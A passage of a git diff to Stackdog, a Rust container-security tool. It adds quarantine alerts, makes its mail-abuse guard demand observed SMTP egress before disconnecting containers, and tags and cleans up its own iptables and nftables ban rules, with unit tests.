#[actix_rt::test] async fn test_docker_client_creation() { // This test requires Docker daemon running diff --git a/src/docker/containers.rs b/src/docker/containers.rs index a308706..8fc98bc 100644 --- a/src/docker/containers.rs +++ b/src/docker/containers.rs @@ -1,6 +1,7 @@ //! Container management use crate::alerting::alert::{AlertSeverity, AlertType}; +use crate::alerting::notifications::{dispatch_stored_alert, env_flag_enabled, NotificationConfig}; use crate::database::models::{Alert, AlertMetadata}; use crate::database::{create_alert, get_container_alert_summary, DbPool}; use crate::docker::client::{ContainerInfo, DockerClient}; @@ -51,10 +52,13 @@ impl ContainerManager { .with_metadata( AlertMetadata::default() .with_container_id(container_id) + .with_source("quarantine") .with_reason(reason), ); - let _ = create_alert(&self.pool, alert).await; + let stored_alert = create_alert(&self.pool, alert).await?; + self.notify_action_alert(&stored_alert, "container quarantine") + .await; log::info!("Container {} quarantined: {}", container_id, reason); Ok(()) @@ -67,8 +71,20 @@ impl ContainerManager { .release_container(container_id, "bridge") .await?; - // Update any quarantine alerts - // (In production, would query for specific alerts) + let alert = Alert::new( + AlertType::SystemEvent, + AlertSeverity::Info, + format!("Container {} released from quarantine", container_id), + ) + .with_metadata( + AlertMetadata::default() + .with_container_id(container_id) + .with_source("quarantine") + .with_reason("Container released from quarantine"), + ); + let stored_alert = create_alert(&self.pool, alert).await?; + self.notify_action_alert(&stored_alert, "container quarantine release") + .await; log::info!("Container {} released from quarantine", container_id); Ok(()) @@ -89,6 +105,17 @@ impl ContainerManager { security_state: summary.security_state().to_string(), }) } + + async fn notify_action_alert(&self, alert: &Alert, action_name: &str) { + if !env_flag_enabled("STACKDOG_NOTIFY_QUARANTINE_ACTIONS", true) { + return; + } + + let config = NotificationConfig::from_env(); + if let Err(err) = dispatch_stored_alert(alert, &config).await { + log::warn!("Failed to send {} notification: {}", action_name, err); + } + } } /// Container security status diff --git a/src/docker/mail_guard.rs b/src/docker/mail_guard.rs index 44ee927..8d25dbd 100644 --- a/src/docker/mail_guard.rs +++ b/src/docker/mail_guard.rs @@ -34,6 +34,13 @@ pub struct MailAbuseGuardConfig { pub consecutive_suspicious_intervals: u32, pub target_patterns: Vec, pub allowlist_patterns: Vec, + /// Quarantine only when outbound SMTP traffic is actually observed. + /// + /// The traffic heuristic alone reads ordinary HTTP/JSON chatter between + /// microservices as mail abuse — small packets, high count is what a busy + /// service looks like. With this on, a match without SMTP egress is an + /// alert, not a network disconnect. + pub require_smtp: bool, } impl MailAbuseGuardConfig { @@ -65,6 +72,7 @@ impl MailAbuseGuardConfig { .collect() }, ), + require_smtp: parse_bool_env("STACKDOG_MAIL_GUARD_REQUIRE_SMTP", true), } } } @@ -136,6 +144,10 @@ struct ContainerTrafficState { previous: Option, suspicious_intervals: u32, quarantined: bool, + /// A downgrade alert is on the record already: the heuristic keeps + /// matching while the traffic pattern lasts, and a warning every poll is + /// noise. Cleared when the pattern goes away. + smtp_downgrade_alerted: bool, } #[derive(Debug, Clone)] @@ -179,6 +191,7 @@ impl MailAbuseDetector { let Some(delta) = compute_delta(previous, current) else { state.suspicious_intervals = 0; + state.smtp_downgrade_alerted = false; return GuardDecision::no_action(); }; @@ -188,15 +201,12 @@ impl MailAbuseDetector { if !is_targeted_container(info, config) || !is_suspicious_egress(delta, config) { state.suspicious_intervals = 0; + state.smtp_downgrade_alerted = false; return GuardDecision::no_action(); } state.suspicious_intervals += 1; - let avg_bytes_per_packet = if delta.tx_packets == 0 { - 0 - } else { - delta.tx_bytes / delta.tx_packets - }; + let avg_bytes_per_packet = delta.tx_bytes.checked_div(delta.tx_packets).unwrap_or(0); let reason = format!( "possible outbound mail abuse detected for {} (image: {}) — {} tx packets / {} bytes over {}s, avg {} bytes/packet, strike {}/{}", info.name, @@ -222,6 +232,19 @@ impl MailAbuseDetector { } } + /// Record that a downgrade alert went out. Returns `false` when one is + /// already on the record for this strike run. + fn mark_downgrade_alerted(&mut self, container_id: &str) -> bool { + if let Some(state) = self.states.get_mut(container_id) { + if state.smtp_downgrade_alerted { + return false; + } + state.smtp_downgrade_alerted = true; + return true; + } + false + } + fn prune(&mut self, active_container_ids: &HashSet) { self.states .retain(|container_id, _| active_container_ids.contains(container_id)); @@ -274,6 +297,101 @@ fn is_suspicious_egress(delta: TrafficDelta, config: &MailAbuseGuardConfig) -> b avg_bytes_per_packet <= config.max_avg_bytes_per_packet } +/// Ports an outbound mail stream would leave through. +const SMTP_PORTS: [u16; 3] = [25, 465, 587]; + +/// Does one nf_conntrack record describe SMTP egress from one of `ips`? +/// +/// Records carry the original tuple first and the reply tuple second: +/// +/// ```text +/// ipv4 2 tcp 6 431999 ESTABLISHED src=172.18.0.5 dst=93.184.216.34 \ +/// sport=52344 dport=25 src=93.184.216.34 dst=172.18.0.5 sport=25 ... +/// ``` +/// +/// Only the first `src=` says who opened the connection, and only the `dport=` +/// before the second `src=` says where it is going — the reply direction shows +/// `sport=25` for every incoming connection too. +fn line_is_smtp_egress(line: &str, ips: &[std::net::Ipv4Addr]) -> bool { + let mut parts = line.split("src="); + if parts.next().is_none() { + return false; + } + let Some(original) = parts.next() else { + return false; + }; + + let mut fields = original.split_whitespace(); + let Some(src) = fields.next() else { + return false; + }; + let Ok(src) = src.parse::() else { + return false; + }; + if !ips.contains(&src) { + return false; + } + + original + .split_whitespace() + .find_map(|word| word.strip_prefix("dport=")) + .and_then(|port| port.parse::().ok()) + .is_some_and(|port| SMTP_PORTS.contains(&port)) +} + +/// Whether any of `ips` has an SMTP connection in the host conntrack table. +/// +/// `None` when the table cannot be read — the caller treats "cannot verify" +/// like "not verified" and skips the irreversible part. +fn smtp_egress_observed(ips: &[std::net::Ipv4Addr]) -> Option { + if ips.is_empty() { + return None; + } + let table = std::fs::read_to_string("/proc/net/nf_conntrack").ok()?; + Some(table.lines().any(|line| line_is_smtp_egress(line, ips))) +} + +fn container_ips(info: &ContainerInfo) -> Vec { + info.network_settings + .values() + .filter_map(|ip| ip.parse().ok()) + .collect() +} + +/// What the guard may do with a heuristic match. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +enum GuardAction { + Quarantine, + AlertOnly { note: &'static str }, + None, +} + +/// Traffic heuristics say "suspicious"; SMTP evidence decides the response. +/// +/// Quarantine disconnects the container from its networks and nothing in this +/// codebase reconnects it, so it must not rest on a guess about packet sizes. +fn resolve_action( + should_quarantine: bool, + require_smtp: bool, + smtp_confirmed: Option, +) -> GuardAction { + if !should_quarantine { + return GuardAction::None; + } + if !require_smtp { + return GuardAction::Quarantine; + } + match smtp_confirmed { + Some(true) => GuardAction::Quarantine, + Some(false) => GuardAction::AlertOnly { + note: "no SMTP egress observed", + }, + None => GuardAction::AlertOnly { + note: "conntrack table unavailable, SMTP egress unverifiable", + }, + } +} + pub struct MailAbuseGuard; impl MailAbuseGuard { @@ -324,27 +442,61 @@ impl MailAbuseGuard { ) }); - manager.quarantine_container(&container.id, &reason).await?; - detector.mark_quarantined(&container.id); - create_alert( - pool, - Alert::new( - AlertType::ThreatDetected, - AlertSeverity::Critical, - format!( - "Mail abuse guard quarantined container {} ({})", - container.name, container.id - ), - ) - .with_metadata( - AlertMetadata::default() - .with_container_id(&container.id) - .with_source("mail-abuse-guard") - .with_reason(reason.clone()), - ), - ) - .await?; - log::warn!("{}", reason); + let smtp_confirmed = if config.require_smtp { + smtp_egress_observed(&container_ips(&container)) + } else { + None + }; + match resolve_action(true, config.require_smtp, smtp_confirmed) { + GuardAction::None => {} + GuardAction::AlertOnly { note } => { + if detector.mark_downgrade_alerted(&container.id) { + let message = format!( + "Mail abuse guard flagged container {} ({}): {} — {note}; quarantine skipped", + container.name, container.id, reason + ); + create_alert( + pool, + Alert::new( + AlertType::ThreatDetected, + AlertSeverity::High, + message.clone(), + ) + .with_metadata( + AlertMetadata::default() + .with_container_id(&container.id) + .with_source("mail-abuse-guard") + .with_reason(reason.clone()), + ), + ) + .await?; + log::warn!("{}", message); + } + } + GuardAction::Quarantine => { + manager.quarantine_container(&container.id, &reason).await?; + detector.mark_quarantined(&container.id); + create_alert( + pool, + Alert::new( + AlertType::ThreatDetected, + AlertSeverity::Critical, + format!( + "Mail abuse guard quarantined container {} ({})", + container.name, container.id + ), + ) + .with_metadata( + AlertMetadata::default() + .with_container_id(&container.id) + .with_source("mail-abuse-guard") + .with_reason(reason.clone()), + ), + ) + .await?; + log::warn!("{}", reason); + } + } } } @@ -367,6 +519,7 @@ mod tests { consecutive_suspicious_intervals: 2, target_patterns: vec!["wordpress".into()], allowlist_patterns: vec!["mailhog".into()], + require_smtp: true, } } @@ -378,6 +531,7 @@ mod tests { status: "Running".into(), created: String::new(), network_settings: HashMap::new(), + labels: HashMap::new(), } } @@ -436,4 +590,87 @@ mod tests { detector.evaluate_container(&info, &stats(82_000, 12_000, 430, 100), &config); assert!(!suspicious.should_quarantine); } + + #[test] + fn test_conntrack_line_is_smtp_egress_from_the_container() { + let ips: Vec = vec!["172.18.0.5".parse().unwrap()]; + + // Original direction dport=25 from our container: mail leaving. + let line = "ipv4 2 tcp 6 431999 ESTABLISHED src=172.18.0.5 dst=93.184.216.34 \ + sport=52344 dport=25 src=93.184.216.34 dst=172.18.0.5 sport=25 dport=52344 \ + [ASSURED] mark=0 use=1"; + assert!(line_is_smtp_egress(line, &ips)); + + for port in [465, 587] { + let line = format!( + "ipv4 2 tcp 6 431999 ESTABLISHED src=172.18.0.5 dst=93.184.216.34 \ + sport=52344 dport={} src=93.184.216.34 dst=172.18.0.5 sport={} dport=52344", + port, port + ); + assert!(line_is_smtp_egress(&line, &ips), "port {port} is SMTP"); + } + + // Ordinary HTTP chatter is not mail. + let http = "ipv4 2 tcp 6 431999 ESTABLISHED src=172.18.0.5 dst=93.184.216.34 \ + sport=52344 dport=443 src=93.184.216.34 dst=172.18.0.5 sport=443 dport=52344"; + assert!(!line_is_smtp_egress(http, &ips)); + } + + #[test] + fn test_conntrack_reply_direction_is_not_egress() { + let ips: Vec = vec!["172.18.0.5".parse().unwrap()]; + + // Somebody connects TO our container on port 25: the reply tuple + // carries sport=25, but the connection is incoming, not mail abuse. + let incoming = "ipv4 2 tcp 6 431999 ESTABLISHED src=93.184.216.34 dst=172.18.0.5 \ + sport=40000 dport=8080 src=172.18.0.5 dst=93.184.216.34 sport=25 dport=40000"; + assert!(!line_is_smtp_egress(incoming, &ips)); + + // Another container's SMTP traffic must not count as ours. + let peer = "ipv4 2 tcp 6 431999 ESTABLISHED src=172.18.0.9 dst=93.184.216.34 \ + sport=52344 dport=25 src=93.184.216.34 dst=172.18.0.9 sport=25 dport=52344"; + assert!(!line_is_smtp_egress(peer, &ips)); + } + + #[test] + fn test_resolve_action_needs_smtp_before_quarantine() { + // Heuristic match alone: alert, never disconnect. + assert_eq!( + resolve_action(true, true, Some(false)), + GuardAction::AlertOnly { + note: "no SMTP egress observed" + } + ); + // Unverifiable is not verified: an irreversible action needs evidence. + assert!(matches!( + resolve_action(true, true, None), + GuardAction::AlertOnly { .. } + )); + // Confirmed SMTP egress: quarantine. + assert_eq!( + resolve_action(true, true, Some(true)), + GuardAction::Quarantine + ); + // Operator turned the requirement off: old behaviour. + assert_eq!(resolve_action(true, false, None), GuardAction::Quarantine); + // No heuristic match: nothing to do. + assert_eq!(resolve_action(false, true, Some(true)), GuardAction::None); + } + + #[test] + fn test_downgrade_alert_fires_once_per_strike_run() { + let mut detector = MailAbuseDetector::default(); + let info = container("wordpress", "wordpress:latest"); + let config = config(); + + detector.evaluate_container(&info, &stats(10_000, 5_000, 100, 50), &config); + detector.evaluate_container(&info, &stats(40_000, 8_000, 260, 80), &config); + + assert!(detector.mark_downgrade_alerted(&info.id)); + assert!(!detector.mark_downgrade_alerted(&info.id)); + + // Once the pattern goes away, the next run may alert again. + detector.evaluate_container(&info, &stats(42_000, 9_000, 265, 82), &config); + assert!(detector.mark_downgrade_alerted(&info.id)); + } } diff --git a/src/firewall/backend.rs b/src/firewall/backend.rs index 1e81028..1451714 100644 --- a/src/firewall/backend.rs +++ b/src/firewall/backend.rs @@ -18,6 +18,13 @@ pub trait FirewallBackend: Send + Sync { /// Unblock an IP address fn unblock_ip(&self, ip: &str) -> Result<()>; + /// Addresses currently blocked by Stackdog rules. + /// + /// Only rules carrying the Stackdog marker are claimed: an untagged DROP + /// rule cannot be told apart from one an operator wrote, and removing those + /// on a hunch is how a firewall cleanup becomes an outage. + fn list_banned_ips(&self) -> Result>; + /// Block a port fn block_port(&self, port: u16) -> Result<()>; diff --git a/src/firewall/iptables.rs b/src/firewall/iptables.rs index 7df60ed..0a0da29 100644 --- a/src/firewall/iptables.rs +++ b/src/firewall/iptables.rs @@ -3,10 +3,41 @@ //! Manages iptables firewall rules (fallback when nftables unavailable) use anyhow::{Context, Result}; -use std::process::Command; +use std::process::{Command, Output}; use crate::firewall::backend::FirewallBackend; +/// Marker carried by every rule Stackdog installs. +/// +/// Without it a DROP rule is indistinguishable from one an operator wrote, so +/// nothing can safely clean up after a crash or answer "what is blocking my +/// traffic". Rules predating the marker are still removed by address, but only +/// tagged rules are claimed in `list_banned_ips`. +const RULE_COMMENT: &str = "stackdog"; + +/// The address of a tagged ban rule, if `line` is one. +/// +/// `iptables -S` prints rules in parse form: +/// `-A INPUT -s 1.2.3.4/32 -m comment --comment stackdog -j DROP`. +pub(crate) fn tagged_ban_ip(line: &str) -> Option { + let words: Vec<&str> = line.split_whitespace().collect(); + let is_ours = words + .windows(2) + .any(|pair| pair[0] == "--comment" && pair[1] == RULE_COMMENT); + let is_drop = words + .windows(2) + .any(|pair| pair[0] == "-j" && pair[1] == "DROP"); + if !is_ours || !is_drop { + return None; + } + + let position = words.iter().position(|word| *word == "-s")?; + let raw = words.get(position + 1)?; + let ip = raw.trim_end_matches("/32"); + ip.parse::().ok()?; + Some(ip.to_string()) +} + /// iptables chain #[derive(Debug, Clone)] pub struct IptChain { @@ -45,11 +76,15 @@ pub struct IptablesBackend { } impl IptablesBackend { - fn run_iptables(&self, args: &[&str], context: &str) -> Result<()> { - let output = Command::new("iptables") + fn run_iptables_output(&self, args: &[&str], context: &str) -> Result { + Command::new("iptables") .args(args) .output() - .context(context.to_string())?; + .context(context.to_string()) + } + + fn run_iptables(&self, args: &[&str], context: &str) -> Result<()> { + let output = self.run_iptables_output(args, context)?; if !output.status.success() { anyhow::bail!("{}", String::from_utf8_lossy(&output.stderr).trim()); @@ -58,6 +93,77 @@ impl IptablesBackend { Ok(()) } + fn input_and_forward_chains() -> [&'static str; 2] { + ["INPUT", "FORWARD"] + } + + /// Rule shapes to look for, newest first. + /// + /// The tagged shape is what `ensure_ip_drop_rule` installs; the bare shape + /// is what releases before rule tagging left behind. Both are ours to + /// remove, and only the tagged shape is ours to claim in `list_banned_ips`. + fn drop_rule_specs(ip: &str) -> [Vec; 2] { + [ + vec![ + "-s".into(), + ip.into(), + "-m".into(), + "comment".into(), + "--comment".into(), + RULE_COMMENT.into(), + "-j".into(), + "DROP".into(), + ], + vec!["-s".into(), ip.into(), "-j".into(), "DROP".into()], + ] + } + + fn rule_exists(&self, chain: &str, spec: &[String]) -> Result { + let refs: Vec<&str> = spec.iter().map(String::as_str).collect(); + let mut args = vec!["-C", chain]; + args.extend_from_slice(&refs); + let output = self.run_iptables_output(&args, "Failed to inspect iptables rule")?; + Ok(output.status.success()) + } + + fn ip_drop_rule_exists(&self, chain: &str, ip: &str) -> Result { + for spec in Self::drop_rule_specs(ip) { + if self.rule_exists(chain, &spec)? { + return Ok(true); + } + } + Ok(false) + } + + fn ensure_ip_drop_rule(&self, chain: &str, ip: &str) -> Result<()> { + if self.ip_drop_rule_exists(chain, ip)? { + return Ok(()); + } + + let spec = Self::drop_rule_specs(ip)[0].clone(); + let refs: Vec<&str> = spec.iter().map(String::as_str).collect(); + let mut args = vec!["-I", chain]; + args.extend_from_slice(&refs); + self.run_iptables(&args, "Failed to block IP with iptables") + } + + fn remove_ip_drop_rule(&self, chain: &str, ip: &str) -> Result<()> { + // Every instance of both shapes: duplicates from an older release or + // an interrupted pass must go as well. + for spec in Self::drop_rule_specs(ip) { + for _ in 0..8 { + if !self.rule_exists(chain, &spec)? { + break; + } + let refs: Vec<&str> = spec.iter().map(String::as_str).collect(); + let mut args = vec!["-D", chain]; + args.extend_from_slice(&refs); + self.run_iptables(&args, "Failed to unblock IP with iptables")?; + } + } + Ok(()) + } + /// Create a new iptables backend pub fn new() -> Result { #[cfg(target_os = "linux")] @@ -183,10 +289,17 @@ impl IptablesBackend { .context("Failed to list iptables rules")?; if !output.status.success() { - anyhow::bail!( - "Failed to list rules: {}", - String::from_utf8_lossy(&output.stderr) - ); + let stderr = String::from_utf8_lossy(&output.stderr); + // A fresh box has no stackdog chain yet: nothing is banned, + // which is an empty list, not an error. + if stderr.contains("No chain/target/match by that name") + || stderr.contains("No chain matches") + || stderr.contains("does not exist") + || stderr.contains("No such file or directory") + { + return Ok(Vec::new()); + } + anyhow::bail!("Failed to list rules: {}", stderr); } let stdout = String::from_utf8_lossy(&output.stdout); @@ -206,17 +319,39 @@ impl FirewallBackend for IptablesBackend { } fn block_ip(&self, ip: &str) -> Result<()> { - self.run_iptables( - &["-I", "INPUT", "-s", ip, "-j", "DROP"], - "Failed to block IP with iptables", - ) + for chain in Self::input_and_forward_chains() { + self.ensure_ip_drop_rule(chain, ip)?; + } + + Ok(()) } fn unblock_ip(&self, ip: &str) -> Result<()> { - self.run_iptables( - &["-D", "INPUT", "-s", ip, "-j", "DROP"], - "Failed to unblock IP with iptables", - ) + for chain in Self::input_and_forward_chains() { + self.remove_ip_drop_rule(chain, ip)?; + } + + Ok(()) + } + + fn list_banned_ips(&self) -> Result> { + let mut ips = std::collections::BTreeSet::new(); + + for chain in Self::input_and_forward_chains() { + let output = + self.run_iptables_output(&["-S", chain], "Failed to list iptables rules")?; + if !output.status.success() { + anyhow::bail!("{}", String::from_utf8_lossy(&output.stderr).trim()); + } + + for line in String::from_utf8_lossy(&output.stdout).lines() { + if let Some(ip) = tagged_ban_ip(line) { + ips.insert(ip); + } + } + } + + Ok(ips.into_iter().collect()) } fn block_port(&self, port: u16) -> Result<()> { @@ -278,4 +413,40 @@ mod tests { let result = backend.block_container("container-1"); assert!(result.is_err()); } + + #[test] + fn test_input_and_forward_chains_cover_host_and_forwarded_traffic() { + assert_eq!( + IptablesBackend::input_and_forward_chains(), + ["INPUT", "FORWARD"] + ); + } + + #[test] + fn test_tagged_ban_ip_reads_the_rule_shape() { + assert_eq!( + tagged_ban_ip("-A INPUT -s 1.2.3.4/32 -m comment --comment stackdog -j DROP"), + Some("1.2.3.4".to_string()) + ); + assert_eq!( + tagged_ban_ip("-A FORWARD -s 1.2.3.4/32 -m comment --comment stackdog -j DROP"), + Some("1.2.3.4".to_string()) + ); + } + + #[test] + fn test_tagged_ban_ip_ignores_foreign_and_untagged_rules() { + // Untagged legacy ban shape: ours to remove, not ours to claim. + assert_eq!(tagged_ban_ip("-A INPUT -s 1.2.3.4/32 -j DROP"), None); + // Somebody else's rule with a different comment. + assert_eq!( + tagged_ban_ip("-A INPUT -s 1.2.3.4/32 -m comment --comment admin -j DROP"), + None + ); + // Right comment, not a drop. + assert_eq!( + tagged_ban_ip("-A INPUT -s 1.2.3.4/32 -m comment --comment stackdog -j ACCEPT"), + None + ); + } } diff --git a/src/firewall/nftables.rs b/src/firewall/nftables.rs index 495404a..e1f240b 100644 --- a/src/firewall/nftables.rs +++ b/src/firewall/nftables.rs @@ -7,6 +7,26 @@ use std::process::Command; use crate::firewall::backend::FirewallBackend; +/// Marker carried by every rule Stackdog installs — see the iptables backend +/// for why rules must be identifiable as ours. +const RULE_COMMENT: &str = "stackdog"; + +/// The address of a tagged ban rule, if `line` is one. +/// +/// `nft -a list chain` prints: +/// `ip saddr 1.2.3.4 drop comment "stackdog" # handle 7`. +pub(crate) fn tagged_ban_ip(line: &str) -> Option { + if !line.contains(RULE_COMMENT) { + return None; + } + + let words: Vec<&str> = line.split_whitespace().collect(); + let position = words.iter().position(|word| *word == "saddr")?; + let ip = words.get(position + 1)?; + ip.parse::().ok()?; + Some(ip.to_string()) +} + /// nftables table #[derive(Debug, Clone)] pub struct NfTable { @@ -136,6 +156,104 @@ impl NfTablesBackend { ], "Failed to ensure nftables output chain", ); + let _ = self.run_nft( + &[ + "add", + "chain", + &table.family, + &table.name, + "forward", + "{", + "type", + "filter", + "hook", + "forward", + "priority", + "0", + ";", + "policy", + "accept", + ";", + "}", + ], + "Failed to ensure nftables forward chain", + ); + Ok(()) + } + + fn input_and_forward_chains(&self) -> [NfChain; 2] { + [ + NfChain::new(&self.base_table(), "input", "filter"), + NfChain::new(&self.base_table(), "forward", "filter"), + ] + } + + fn delete_rule_by_handle(&self, chain: &NfChain, handle: &str) -> Result<()> { + self.run_nft( + &[ + "delete", + "rule", + &chain.table.family, + &chain.table.name, + &chain.name, + "handle", + handle, + ], + "Failed to delete nftables rule by handle", + ) + } + + fn find_rule_handle(rules: &[String], rule_spec: &str) -> Option { + Self::find_rule_handles(rules, rule_spec).into_iter().next() + } + + fn find_rule_handles(rules: &[String], rule_spec: &str) -> Vec { + rules + .iter() + .filter_map(|line| { + let normalized = line.split_whitespace().collect::>().join(" "); + if !normalized.contains(rule_spec) { + return None; + } + + line.rsplit_once("# handle ") + .map(|(_, handle)| handle.trim().to_string()) + }) + .collect() + } + + fn ensure_ip_drop_rule(&self, chain: &NfChain, ip: &str) -> Result<()> { + // Matches the tagged and the legacy untagged shape alike: an address + // already dropped is dropped, whatever release added the rule. + let rule_spec = format!("ip saddr {} drop", ip); + if Self::find_rule_handle(&self.list_rules(chain)?, &rule_spec).is_some() { + return Ok(()); + } + + self.run_nft( + &[ + "add", + "rule", + &chain.table.family, + &chain.table.name, + &chain.name, + "ip", + "saddr", + ip, + "drop", + "comment", + "\"stackdog\"", + ], + "Failed to add nftables rule", + ) + } + + fn delete_ip_drop_rule_if_present(&self, chain: &NfChain, ip: &str) -> Result<()> { + let rule_spec = format!("ip saddr {} drop", ip); + // Every instance of both shapes, not just the first match. + for handle in Self::find_rule_handles(&self.list_rules(chain)?, &rule_spec) { + self.delete_rule_by_handle(chain, &handle)?; + } Ok(()) } @@ -201,87 +319,62 @@ impl NfTablesBackend { /// Create a chain pub fn create_chain(&self, chain: &NfChain) -> Result<()> { - let cmd = format!( - "add chain {} {} {{ type {} hook input priority 0; }}", - chain.table, chain.name, chain.chain_type - ); - - let output = Command::new("nft") - .args(["-c", &cmd]) - .output() - .context("Failed to create nftables chain")?; - - if !output.status.success() { - anyhow::bail!( - "Failed to create chain: {}", - String::from_utf8_lossy(&output.stderr) - ); - } + let spec = format!("{{ type {} hook input priority 0; }}", chain.chain_type); - Ok(()) + // Plain `nft`, not `nft -c`: the check flag only validates the command + // and applies nothing, which left callers believing a chain existed. + self.run_nft( + &[ + "add", + "chain", + &chain.table.family, + &chain.table.name, + &chain.name, + &spec, + ], + "Failed to create nftables chain", + ) } /// Delete a chain pub fn delete_chain(&self, chain: &NfChain) -> Result<()> { - let cmd = format!("delete chain {} {}", chain.table, chain.name); - - let output = Command::new("nft") - .args(["-c", &cmd]) - .output() - .context("Failed to delete nftables chain")?; - - if !output.status.success() { - anyhow::bail!( - "Failed to delete chain: {}", - String::from_utf8_lossy(&output.stderr) - ); - } - - Ok(()) + self.run_nft( + &[ + "delete", + "chain", + &chain.table.family, + &chain.table.name, + &chain.name, + ], + "Failed to delete nftables chain", + ) } /// Add a rule pub fn add_rule(&self, rule: &NfRule) -> Result<()> { - let cmd = format!( - "add rule {} {} {}", - rule.chain.table, rule.chain.name, rule.rule_spec - ); - - let output = Command::new("nft") - .args(["-c", &cmd]) - .output() - .context("Failed to add nftables rule")?; - - if !output.status.success() { - anyhow::bail!( - "Failed to add rule: {}", - String::from_utf8_lossy(&output.stderr) - ); - } - - Ok(()) + self.run_nft( + &[ + "add", + "rule", + &rule.chain.table.family, + &rule.chain.table.name, + &rule.chain.name, + &rule.rule_spec, + ], + "Failed to add nftables rule", + ) } /// Delete a rule pub fn delete_rule(&self, rule: &NfRule) -> Result<()> { - let cmd = format!( - "delete rule {} {} {}", - rule.chain.table, rule.chain.name, rule.rule_spec - ); - - let output = Command::new("nft") - .args(["-c", &cmd]) - .output() - .context("Failed to delete nftables rule")?; - - if !output.status.success() { - anyhow::bail!( - "Failed to delete rule: {}", - String::from_utf8_lossy(&output.stderr) - ); - } - - Ok(()) + let rules = self.list_rules(&rule.chain)?; + let handle = Self::find_rule_handle(&rules, &rule.rule_spec).ok_or_else(|| { + anyhow::anyhow!( + "Failed to delete rule: no matching handle found for '{}'", + rule.rule_spec + ) + })?; + self.delete_rule_by_handle(&rule.chain, &handle) } /// Batch add multiple rules @@ -294,37 +387,40 @@ impl NfTablesBackend { /// Flush a chain pub fn flush_chain(&self, chain: &NfChain) -> Result<()> { - let cmd = format!("flush chain {} {}", chain.table, chain.name); - - let output = Command::new("nft") - .args(["-c", &cmd]) - .output() - .context("Failed to flush nftables chain")?; - - if !output.status.success() { - anyhow::bail!( - "Failed to flush chain: {}", - String::from_utf8_lossy(&output.stderr) - ); - } - - Ok(()) + self.run_nft( + &[ + "flush", + "chain", + &chain.table.family, + &chain.table.name, + &chain.name, + ], + "Failed to flush nftables chain", + ) } /// List rules in a chain pub fn list_rules(&self, chain: &NfChain) -> Result> { - let cmd = format!("list chain {} {}", chain.table, chain.name); - let output = Command::new("nft") - .args(["-c", &cmd]) + .args([ + "-a", + "list", + "chain", + &chain.table.family, + &chain.table.name, + &chain.name, + ]) .output() .context("Failed to list nftables rules")?; if !output.status.success() { - anyhow::bail!( - "Failed to list rules: {}", - String::from_utf8_lossy(&output.stderr) - ); + let stderr = String::from_utf8_lossy(&output.stderr); + // A fresh box has no stackdog table or chain yet: nothing is + // banned, which is an empty list, not an error. + if stderr.contains("No such file or directory") || stderr.contains("does not exist") { + return Ok(Vec::new()); + } + anyhow::bail!("Failed to list rules: {}", stderr); } let stdout = String::from_utf8_lossy(&output.stdout); @@ -345,22 +441,32 @@ impl FirewallBackend for NfTablesBackend { fn block_ip(&self, ip: &str) -> Result<()> { self.ensure_filter_table()?; - self.run_nft( - &[ - "add", "rule", "inet", "stackdog", "input", "ip", "saddr", ip, "drop", - ], - "Failed to block IP with nftables", - ) + for chain in self.input_and_forward_chains() { + self.ensure_ip_drop_rule(&chain, ip)?; + } + Ok(()) } fn unblock_ip(&self, ip: &str) -> Result<()> { self.ensure_filter_table()?; - self.run_nft( - &[ - "delete", "rule", "inet", "stackdog", "input", "ip", "saddr", ip, "drop", - ], - "Failed to unblock IP with nftables", - ) + for chain in self.input_and_forward_chains() { + self.delete_ip_drop_rule_if_present(&chain, ip)?; + } + Ok(()) + } + + fn list_banned_ips(&self) -> Result> { + let mut ips = std::collections::BTreeSet::new(); + + for chain in self.input_and_forward_chains() { + for line in self.list_rules(&chain)? { + if let Some(ip) = tagged_ban_ip(&line) { + ips.insert(ip); + } + } + } + + Ok(ips.into_iter().collect()) } fn block_port(&self, port: u16) -> Result<()> { @@ -376,13 +482,9 @@ impl FirewallBackend for NfTablesBackend { fn unblock_port(&self, port: u16) -> Result<()> { self.ensure_filter_table()?; - let port = port.to_string(); - self.run_nft( - &[ - "delete", "rule", "inet", "stackdog", "output", "tcp", "dport", &port, "drop", - ], - "Failed to unblock port with nftables", - ) + let chain = NfChain::new(&self.base_table(), "output", "filter"); + let rule = NfRule::new(&chain, format!("tcp dport {} drop", port)); + self.delete_rule(&rule) } fn block_container(&self, container_id: &str) -> Result<()> { @@ -429,4 +531,85 @@ mod tests { let result = backend.block_container("container-1"); assert!(result.is_err()); } + + #[test] + fn test_find_rule_handle_matches_ip_rule() { + let rules = vec![ + "table inet stackdog {".to_string(), + " chain input {".to_string(), + " type filter hook input priority filter; policy accept;".to_string(), + " ip saddr 172.17.0.1 drop # handle 7".to_string(), + " }".to_string(), + "}".to_string(), + ]; + + let handle = NfTablesBackend::find_rule_handle(&rules, "ip saddr 172.17.0.1 drop"); + + assert_eq!(handle.as_deref(), Some("7")); + } + + #[test] + fn test_find_rule_handle_matches_port_rule_with_spacing() { + let rules = vec![" tcp dport 443 drop # handle 12".to_string()]; + + let handle = NfTablesBackend::find_rule_handle(&rules, "tcp dport 443 drop"); + + assert_eq!(handle.as_deref(), Some("12")); + } + + #[test] + fn test_find_rule_handle_returns_none_for_missing_rule() { + let rules = vec!["ip saddr 192.0.2.1 drop # handle 4".to_string()]; + + let handle = NfTablesBackend::find_rule_handle(&rules, "ip saddr 198.51.100.9 drop"); + + assert!(handle.is_none()); + } + + #[test] + fn test_input_and_forward_chains_cover_host_and_forwarded_traffic() { + let backend = NfTablesBackend { available: true }; + let chains = backend.input_and_forward_chains(); + assert_eq!(chains[0].name, "input"); + assert_eq!(chains[1].name, "forward"); + } + + #[test] + fn test_find_rule_handles_returns_every_instance() { + let rules = vec![ + "ip saddr 1.2.3.4 drop # handle 7".to_string(), + "ip saddr 5.6.7.8 drop # handle 8".to_string(), + "ip saddr 1.2.3.4 drop comment \"stackdog\" # handle 9".to_string(), + ]; + + let handles = NfTablesBackend::find_rule_handles(&rules, "ip saddr 1.2.3.4 drop"); + + assert_eq!(handles, vec!["7".to_string(), "9".to_string()]); + } + + #[test] + fn test_tagged_ban_ip_reads_the_rule_shape() { + assert_eq!( + tagged_ban_ip("ip saddr 1.2.3.4 drop comment \"stackdog\" # handle 7"), + Some("1.2.3.4".to_string()) + ); + } + + #[test] + fn test_tagged_ban_ip_ignores_foreign_and_untagged_rules() { + assert_eq!( + tagged_ban_ip("ip saddr 1.2.3.4 drop # handle 7"), + None, + "legacy untagged rule: ours to remove, not ours to claim" + ); + assert_eq!( + tagged_ban_ip("ip saddr 1.2.3.4 drop comment \"admin\" # handle 7"), + None + 